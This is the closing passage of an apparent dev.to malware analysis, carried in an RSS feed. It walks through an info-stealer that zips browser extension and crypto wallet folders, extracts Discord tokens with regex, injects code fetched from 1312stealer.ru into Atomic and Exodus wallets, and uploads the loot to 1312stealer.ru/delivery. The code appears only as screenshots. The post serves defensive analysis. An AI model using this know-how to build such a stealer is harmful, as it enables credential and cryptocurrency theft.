&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fu8ktxrjlx3wh18pbiy3k.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fu8ktxrjlx3wh18pbiy3k.png" alt="BrowserCode" width="800" height="583"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Browser extension folders are simply being zipped up whole, no specific data is being extracted from them.&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1xiuav96th94k5ehvxxl.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1xiuav96th94k5ehvxxl.png" alt="ExtensionCode" width="800" height="120"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Using regular expression, discord tokens are being retrieved from the local discord files. Along with tokens, discord connected data including phone numbers, emails, display name, user id are also being retrieved.&lt;/p&gt;

&lt;p&gt;In case you are not aware, having access to an individual's discord token allows you to authenticate as them regardless of two factor authentication.&lt;/p&gt;

&lt;p&gt;Files located in the Desktop or Documents directories are being filtered based on the target keywords and file extensions listed above.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhpmb0c1t7avjtvnoub22.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhpmb0c1t7avjtvnoub22.png" alt="PathFilteringCode" width="565" height="192"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Similar to browser extensions, wallet paths are also being zipped up whole.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fazhqzrzhsa5s6m4adt22.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fazhqzrzhsa5s6m4adt22.png" alt="WalletPathCode" width="598" height="116"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Specific to the Atomic and Exodus wallets, malicious code retrieved from &lt;code&gt;https://1312stealer.ru/wallet&lt;/code&gt; and &lt;code&gt;https://1312stealer.ru/wallet/atomic&lt;/code&gt; are being written to the wallet directories which injects into the wallets capturing mnemonics and passwords.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqo96003bmx55wmtezwpx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqo96003bmx55wmtezwpx.png" alt="WalletInjectionCode" width="533" height="437"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Ten times. It calls the inject function 10 times. I guess they really want that in there 😂&lt;/p&gt;

&lt;p&gt;Well now all that data is sitting in &lt;code&gt;APPDATA\grouppe_storage&lt;/code&gt;, how do they get their hands on this data?&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fp4e5kbg5rziixou470wi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fp4e5kbg5rziixou470wi.png" alt="SendToServerCall" width="445" height="90"&gt;&lt;/a&gt;&lt;br&gt;
We can see that each file in &lt;code&gt;grouppe_storage&lt;/code&gt; being passed as a parameter to the &lt;code&gt;upload_to_server()&lt;/code&gt; function.&lt;/p&gt;

&lt;p&gt;Here we can see the final location this data is being sent to: &lt;code&gt;1312stealer.ru/delivery&lt;/code&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcyfm0i0nofpiv9dxainp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcyfm0i0nofpiv9dxainp.png" alt="SendToServerCode" width="462" height="174"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Again being called 10 times. Maybe 10 is their lucky number 🤷&lt;/p&gt;

&lt;p&gt;Thanks for reading :)&lt;/p&gt;

&lt;p&gt;🌱&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>security</category>
      <category>opensource</category>
    </item>
  </channel>
</rss>
